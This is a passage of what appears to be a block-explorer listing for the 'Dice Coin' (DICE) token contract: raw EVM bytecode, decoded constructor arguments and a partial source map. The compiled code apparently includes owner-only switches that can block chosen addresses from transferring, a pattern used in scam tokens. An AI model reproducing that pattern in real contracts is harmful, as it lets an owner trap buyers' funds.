65b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061191c60228361104b565b9150611927826118c0565b604082019050919050565b6000602082019050818103600083015261194b8161190f565b9050919050565b600061195d8261115e565b91506119688361115e565b92508282101561197b5761197a61138b565b5b82820390509291505056fea26469706673582212206972d62ca231197f5756f5a8d8cf511b4371b8be86b882cb4f69830c9545fb5c64736f6c634300080f0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000006c6b935b8bbd40000000000000000000000000000000000000000000000000000000000000000000094469636520436f696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044449434500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80633b89bb8611610097578063a9059cbb11610066578063a9059cbb1461029a578063a9619949146102ca578063dd62ed3e146102e6578063de66a00414610316576100f5565b80633b89bb861461020057806370a082311461021c57806395d89b411461024c578063a457c2d71461026a576100f5565b806323b872dd116100d357806323b872dd146101665780632a46f1b614610196578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610346565b60405161010f91906110d9565b60405180910390f35b610132600480360381019061012d9190611194565b6103d8565b60405161013f91906111ef565b60405180910390f35b6101506103fb565b60405161015d9190611219565b60405180910390f35b610180600480360381019061017b9190611234565b610405565b60405161018d91906111ef565b60405180910390f35b6101b060048036038101906101ab9190611287565b610434565b005b6101ba6104e9565b6040516101c791906112d0565b60405180910390f35b6101ea60048036038101906101e59190611194565b6104f2565b6040516101f791906111ef565b60405180910390f35b61021a60048036038101906102159190611194565b610529565b005b61023660048036038101906102319190611287565b610591565b6040516102439190611219565b60405180910390f35b6102546105da565b60405161026191906110d9565b60405180910390f35b610284600480360381019061027f9190611194565b61066c565b60405161029191906111ef565b60405180910390f35b6102b460048036038101906102af9190611194565b6106e3565b6040516102c191906111ef565b60405180910390f35b6102e460048036038101906102df9190611287565b610706565b005b61030060048036038101906102fb91906112eb565b6107bb565b60405161030d9190611219565b60405180910390f35b610330600480360381019061032b9190611287565b610842565b60405161033d91906111ef565b60405180910390f35b6060600080546103559061135a565b80601f01602080910402602001604051908101604052809291908181526020018280546103819061135a565b80156103ce5780601f106103a3576101008083540402835291602001916103ce565b820191906000526020600020905b8154815290600101906020018083116103b157829003601f168201915b5050505050905090565b6000806103e3610898565b90506103f08185856108a0565b600191505092915050565b6000600954905090565b600080610410610898565b905061041d858285610a69565b610428858585610af5565b60019150509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048e57600080fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000806104fd610898565b905061051e81858561050f85896107bb565b61051991906113ba565b6108a0565b600191505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461058357600080fd5b61058d8282610e6b565b5050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600180546105e99061135a565b80601f01602080910402602001604051908101604052809291908181526020018280546106159061135a565b80156106625780601f1061063757610100808354040283529160200191610662565b820191906000526020600020905b81548152906001019060200180831161064557829003601f168201915b5050505050905090565b600080610677610898565b9050600061068582866107bb565b9050838110156106ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c190611482565b60405180910390fd5b6106d782868684036108a0565b60019250505092915050565b6000806106ee610898565b90506106fb818585610af5565b600191505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461076057600080fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361090f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090690611514565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361097e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610975906115a6565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a5c9190611219565b60405180910390a3505050565b6000610a7584846107bb565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610aef5781811015610ae1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad890611612565b60405180910390fd5b610aee84848484036108a0565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5b906116a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bca90611736565b60405180910390fd5b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610c745750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610cd05760011515600560009054906101000a900460ff16151514610ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc69061177c565b60405180910390fd5b5b610cdb838383611036565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d599061180e565b60405180910390fd5b818103600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e529190611219565b60405180910390a3610e6584848461103b565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed1906118a0565b60405180910390fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5890611932565b60405180910390fd5b81600354610f6f9190611952565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160096000828254610fc49190611952565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110299190611219565b60405180910390a3505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561107a57808201518184015260208101905061105f565b83811115611089576000848401525b50505050565b6000601f19601f8301169050919050565b60006110ab82611040565b6110b5818561104b565b93506110c581856020860161105c565b6110ce8161108f565b840191505092915050565b600060208201905081810360008301526110f381846110a0565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061112b82611100565b9050919050565b61113b81611120565b811461114657600080fd5b50565b60008135905061115881611132565b92915050565b6000819050919050565b6111718161115e565b811461117c57600080fd5b50565b60008135905061118e81611168565b92915050565b600080604083850312156111ab576111aa6110fb565b5b60006111b985828601611149565b92505060206111ca8582860161117f565b9150509250929050565b60008115159050919050565b6111e9816111d4565b82525050565b600060208201905061120460008301846111e0565b92915050565b6112138161115e565b82525050565b600060208201905061122e600083018461120a565b92915050565b60008060006060848603121561124d5761124c6110fb565b5b600061125b86828701611149565b935050602061126c86828701611149565b925050604061127d8682870161117f565b9150509250925092565b60006020828403121561129d5761129c6110fb565b5b60006112ab84828501611149565b91505092915050565b600060ff82169050919050565b6112ca816112b4565b82525050565b60006020820190506112e560008301846112c1565b92915050565b60008060408385031215611302576113016110fb565b5b600061131085828601611149565b925050602061132185828601611149565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061137257607f821691505b6020821081036113855761138461132b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006113c58261115e565b91506113d08361115e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114055761140461138b565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061146c60258361104b565b915061147782611410565b604082019050919050565b6000602082019050818103600083015261149b8161145f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006114fe60248361104b565b9150611509826114a2565b604082019050919050565b6000602082019050818103600083015261152d816114f1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061159060228361104b565b915061159b82611534565b604082019050919050565b600060208201905081810360008301526115bf81611583565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006115fc601d8361104b565b9150611607826115c6565b602082019050919050565b6000602082019050818103600083015261162b816115ef565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061168e60258361104b565b915061169982611632565b604082019050919050565b600060208201905081810360008301526116bd81611681565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061172060238361104b565b915061172b826116c4565b604082019050919050565b6000602082019050818103600083015261174f81611713565b9050919050565b50565b600061176660008361104b565b915061177182611756565b600082019050919050565b6000602082019050818103600083015261179581611759565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006117f860268361104b565b91506118038261179c565b604082019050919050565b60006020820190508181036000830152611827816117eb565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600061188a60218361104b565b91506118958261182e565b604082019050919050565b600060208201905081810360008301526118b98161187d565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061191c60228361104b565b9150611927826118c0565b604082019050919050565b6000602082019050818103600083015261194b8161190f565b9050919050565b600061195d8261115e565b91506119688361115e565b92508282101561197b5761197a61138b565b5b82820390509291505056fea26469706673582212206972d62ca231197f5756f5a8d8cf511b4371b8be86b882cb4f69830c9545fb5c64736f6c634300080f0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000006c6b935b8bbd40000000000000000000000000000000000000000000000000000000000000000000094469636520436f696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044449434500000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Dice Coin
Arg [1] : symbol (string): DICE
Arg [2] : initialSupply (uint256): 2000000000000000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000000000000000000000000006c6b935b8bbd400000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 4469636520436f696e0000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 4449434500000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

11658:766:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3414:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4791:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3983:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5592:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3522:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3314:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6194:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12279:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4154:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3202:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6739:434;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5182:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3666:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4344:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3809:109;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3414:100;3468:13;3501:5;3494:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3414:100;:::o;4791:201::-;4874:4;4891:13;4907:12;:10;:12::i;:::-;4891:28;;4930:32;4939:5;4946:7;4955:6;4930:8;:32::i;:::-;4980:4;4973:11;;;4791:201;;;;:::o;3983:108::-;4044:7;4071:12;;4064:19;;3983:108;:::o;5592:295::-;5723:4;5740:15;5758:12;:10;:12::i;:::-;5740:30;;5781:38;5797:4;5803:7;5812:6;5781:15;:38::i;:::-;5830:27;5840:4;5846:2;5850:6;5830:9;:27::i;:::-;5875:4;5868:11;;;5592:295;;;;;:::o;3522:136::-;3602:8;;;;;;;;;;;3588:22;;:10;:22;;;3580:31;;;;;;3646:4;3622:12;:21;3635:7;3622:21;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;3522:136;:::o;3314:92::-;3372:5;3397:1;3390:8;;3314:92;:::o;6194:238::-;6282:4;6299:13;6315:12;:10;:12::i;:::-;6299:28;;6338:64;6347:5;6354:7;6391:10;6363:25;6373:5;6380:7;6363:9;:25::i;:::-;:38;;;;:::i;:::-;6338:8;:64::i;:::-;6420:4;6413:11;;;6194:238;;;;:::o;12279:142::-;12371:8;;;;;;;;;;;12357:22;;:10;:22;;;12349:31;;;;;;12391:22;12397:7;12406:6;12391:5;:22::i;:::-;12279:142;;:::o;4154:127::-;4228:7;4255:9;:18;4265:7;4255:18;;;;;;;;;;;;;;;;4248:25;;4154:127;;;:::o;3202:104::-;3258:13;3291:7;3284:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3202:104;:::o;6739:434::-;6832:4;6849:13;6865:12;:10;:12::i;:::-;6849:28;;6888:24;6915:25;6925:5;6932:7;6915:9;:25::i;:::-;6888:52;;6979:15;6959:16;:35;;6951:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7072:60;7081:5;7088:7;7116:15;7097:16;:34;7072:8;:60::i;:::-;7161:4;7154:11;;;;6739:434;;;;:::o;5182:193::-;5261:4;5278:13;5294:12;:10;:12::i;:::-;5278:28;;5317;5327:5;5334:2;5338:6;5317:9;:28::i;:::-;5363:4;5356:11;;;5182:193;;;;:::o;3666:135::-;3744:8;;;;;;;;;;;3730:22;;:10;:22;;;3722:31;;;;;;3788:5;3764:12;:21;3777:7;3764:21;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;3666:135;:::o;4344:151::-;4433:7;4460:11;:18;4472:5;4460:18;;;;;;;;;;;;;;;:27;4479:7;4460:27;;;;;;;;;;;;;;;;4453:34;;4344:151;;;;:::o;3809:109::-;3865:4;3889:12;:21;3902:7;3889:21;;;;;;;;;;;;;;;;;;;;;;;;;3882:28;;3809:109;;;:::o;172:98::-;225:7;252:10;245:17;;172:98;:::o;9204:380::-;9357:1;9340:19;;:5;:19;;;9332:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9438:1;9419:21;;:7;:21;;;9411:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9522:6;9492:11;:18;9504:5;9492:18;;;;;;;;;;;;;;;:27;9511:7;9492:27;;;;;;;;;;;;;;;:36;;;;9560:7;9544:32;;9553:5;9544:32;;;9569:6;9544:32;;;;;;:::i;:::-;;;;;;;;9204:380;;;:::o;10592:453::-;10727:24;10754:25;10764:5;10771:7;10754:9;:25::i;:::-;10727:52;;10814:17;10794:16;:37;10790:248;;10876:6;10856:16;:26;;10848:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10960:51;10969:5;10976:7;11004:6;10985:16;:25;10960:8;:51::i;:::-;10790:248;10716:329;10592:453;;;:::o;7351:945::-;7498:1;7482:18;;:4;:18;;;7474:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7575:1;7561:16;;:2;:16;;;7553:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7632:12;:16;7645:2;7632:16;;;;;;;;;;;;;;;;;;;;;;;;;:38;;;;7652:12;:18;7665:4;7652:18;;;;;;;;;;;;;;;;;;;;;;;;;7632:38;7628:96;;;7715:4;7700:19;;:11;;;;;;;;;;;:19;;;7672:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;7628:96;7735:38;7756:4;7762:2;7766:6;7735:20;:38::i;:::-;7786:19;7808:9;:15;7818:4;7808:15;;;;;;;;;;;;;;;;7786:37;;7857:6;7842:11;:21;;7834:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7974:6;7960:11;:20;7942:9;:15;7952:4;7942:15;;;;;;;;;;;;;;;:38;;;;8177:6;8160:9;:13;8170:2;8160:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;8227:2;8212:26;;8221:4;8212:26;;;8231:6;8212:26;;;;;;:::i;:::-;;;;;;;;8251:37;8271:4;8277:2;8281:6;8251:19;:37::i;:::-;7463:833;7351:945;;;:::o;8468:528::-;8571:1;8552:21;;:7;:21;;;8544:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8628:22;8653:9;:18;8663:7;8653:18;;;;;;;;;;;;;;;;8628:43;;8708:6;8690:14;:24;;8682:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8806:6;8795:8;;:17;;;;:::i;:::-;8774:9;:18;8784:7;8774:18;;;;;;;;;;;;;;;:38;;;;8923:6;8907:12;;:22;;;;;;;:::i;:::-;;;;;;;;8977:1;8951:37;;8960:7;8951:37;;;8981:6;8951:37;;;;;;:::i;:::-;;;;;;;;8533:463;8468:528;;:::o;11418:125::-;;;;:::o;11169:124::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:329::-;4530:6;4579:2;4567:9;4558:7;4554:23;4550:32;4547:119;;;4585:79;;:::i;:::-;4547:119;4705:1;4730:53;4775:7;4766:6;4755:9;4751:22;4730:53;:::i;:::-;4720:63;;4676:117;4471:329;;;;:::o;4806:86::-;4841:7;4881:4;4874:5;4870:16;4859:27;;4806:86;;;:::o;4898:112::-;4981:22;4997:5;4981:22;:::i;:::-;4976:3;4969:35;4898:112;;:::o;5016:214::-;5105:4;5143:2;5132:9;5128:18;5120:26;;5156:67;5220:1;5209:9;5205:17;5196:6;5156:67;:::i;:::-;5016:214;;;;:::o;5236:474::-;5304:6;5312;5361:2;5349:9;5340:7;5336:23;5332:32;5329:119;;;5367:79;;:::i;:::-;5329:119;5487:1;5512:53;5557:7;5548:6;5537:9;5533:22;5512:53;:::i;:::-;5502:63;;5458:117;5614:2;5640:53;5685:7;5676:6;5665:9;5661:22;5640:53;:::i;:::-;5630:63;;5585:118;5236:474;;;;;:::o;5716:180::-;5764:77;5761:1;5754:88;5861:4;5858:1;5851:15;5885:4;5882:1;5875:15;5902:320;5946:6;5983:1;5977:4;5973:12;5963:22;;6030:1;6024:4;6020:12;6051:18;6041:81;;6107:4;6099:6;6095:17;6085:27;;6041:81;6169:2;6161:6;6158:14;6138:18;6135:38;6132:84;;6188:18;;:::i;:::-;6132:84;5953:269;5902:320;;;:::o;6228:180::-;6276:77;6273:1;6266:88;6373:4;6370:1;6363:15;6397:4;6394:1;6387:15;6414:305;6454:3;6473:20;6491:1;6473:20;:::i;:::-;6468:25;;6507:20;6525:1;6507:20;:::i;:::-;6502:25;;6661:1;6593:66;6589:74;6586:1;6583:81;6580:107;;;6667:18;;:::i;:::-;6580:107;6711:1;6708;6704:9;6697:16;;6414:305;;;;:::o;6725:224::-;6865:34;6861:1;6853:6;6849:14;6842:58;6934:7;6929:2;6921:6;6917:15;6910:32;6725:224;:::o;6955:366::-;7097:3;7118:67;7182:2;7177:3;7118:67;:::i;:::-;7111:74;;7194:93;7283:3;7194:93;:::i;:::-;7312:2;7307:3;7303:12;7296:19;;6955:366;;;:::o;7327:419::-;7493:4;7531:2;7520:9;7516:18;7508:26;;7580:9;7574:4;7570:20;7566:1;7555:9;7551:17;7544:47;7608:131;7734:4;7608:131;:::i;:::-;7600:139;;7327:419;;;:::o;7752:223::-;7892:34;7888:1;7880:6;7876:14;7869:58;7961:6;7956:2;7948:6;7944:15;7937:31;7752:223;:::o;7981:366::-;8123:3;8144:67;8208:2;8203:3;8144:67;:::i;:::-;8137:74;;8220:93;8309:3;8220:93;:::i;:::-;8338:2;8333:3;8329:12;8322:19;;7981:366;;;:::o;8353:419::-;8519:4;8557:2;8546:9;8542:18;8534:26;;8606:9;8600:4;8596:20;8592:1;8581:9;8577:17;8570:47;8634:131;8760:4;8634:131;:::i;:::-;8626:139;;8353:419;;;:::o;8778:221::-;8918:34;8914:1;8906:6;8902:14;8895:58;8987:4;8982:2;8974:6;8970:15;8963:29;8778:221;:::o;9005:366::-;9147:3;9168:67;9232:2;9227:3;9168:67;:::i;:::-;9161:74;;9244:93;9333:3;9244:93;:::i;:::-;9362:2;9357:3;9353:12;9346:19;;9005:366;;;:::o;9377:419::-;9543:4;9581:2;9570:9;9566:18;9558:26;;9630:9;9624:4;9620:20;9616:1;9605:9;9601:17;9594:47;9658:131;9784:4;9658:131;:::i;:::-;9650:139;;9377:419;;;:::o;9802:179::-;9942:31;9938:1;9930:6;9926:14;9919:55;9802:179;:::o;9987:366::-;10129:3;10150:67;10214:2;10209:3;10150:67;:::i;:::-;10143:74;;10226:93;10315:3;10226:93;:::i;:::-;10344:2;10339:3;10335:12;10328:19;;9987:366;;;:::o;10359:419::-;10525:4;10563:2;10552:9;10548:18;10540:26;;10612:9;10606:4;10602:20;10598:1;10587:9;10583:17;10576:47;10640:131;10766:4;10640:131;:::i;:::-;10632:139;;10359:419;;;:::o;10784:224::-;10924:34;10920:1;10912:6;10908:14;10901:58;10993:7;10988:2;10980:6;10976:15;10969:32;10784:224;:::o;11014:366::-;11156:3;11177:67;11241:2;11236:3;11177:67;:::i;:::-;11170:74;;11253:93;11342:3;11253:93;:::i;:::-;11371:2;11366:3;11362:12;11355:19;;11014:366;;;:::o;11386:419::-;11552:4;11590:2;11579:9;11575:18;11567:26;;11639:9;11633:4;11629:20;11625:1;11614:9;11610:17;11603:47;11667:131;11793:4;11667:131;:::i;:::-;11659:139;;11386:419;;;:::o;11811:222::-;11951:34;11947:1;11939:6;11935:14;11928:58;12020:5;12015:2;12007:6;12003:15;11996:30;11811:222;:::o;12039:366::-;12181:3;12202:67;12266:2;12261:3;12202:67;:::i;:::-;12195:74;;12278:93;12367:3;12278:93;:::i;:::-;12396:2;12391:3;12387:12;12380:19;;12039:366;;;:::o;12411:419::-;12577:4;12615:2;12604:9;12600:18;12592:26;;12664:9;12658:4;12654:20;12650:1;12639:9;12635:17;12628:47;12692:131;12818:4;12692:131;:::i;:::-;12684:139;;12411:419;;;:::o;12836:114::-;;:::o;12956:364::-;13098:3;13119:66;13183:1;13178:3;13119:66;:::i;:::-;13112:73;;13194:93;13283:3;13194:93;:::i;:::-;13312:1;13307:3;13303:11;13296:18;;12956:364;;;:::o;13326:419::-;13492:4;13530:2;13519:9;13515:18;13507:26;;13579:9;13573:4;13569:20;13565:1;13554:9;13550:17;13543:47;13607:131;13733:4;13607:131;:::i;:::-;13599:139;;13326:419;;;:::o;13751:225::-;13891:34;13887:1;13879:6;13875:14;13868:58;13960:8;13955:2;13947:6;13943:15;13936:33;13751:225;:::o;13982:366::-;14124:3;14145:67;14209:2;14204:3;14145:67;:::i;:::-;14138:74;;14221:93;14310:3;14221:93;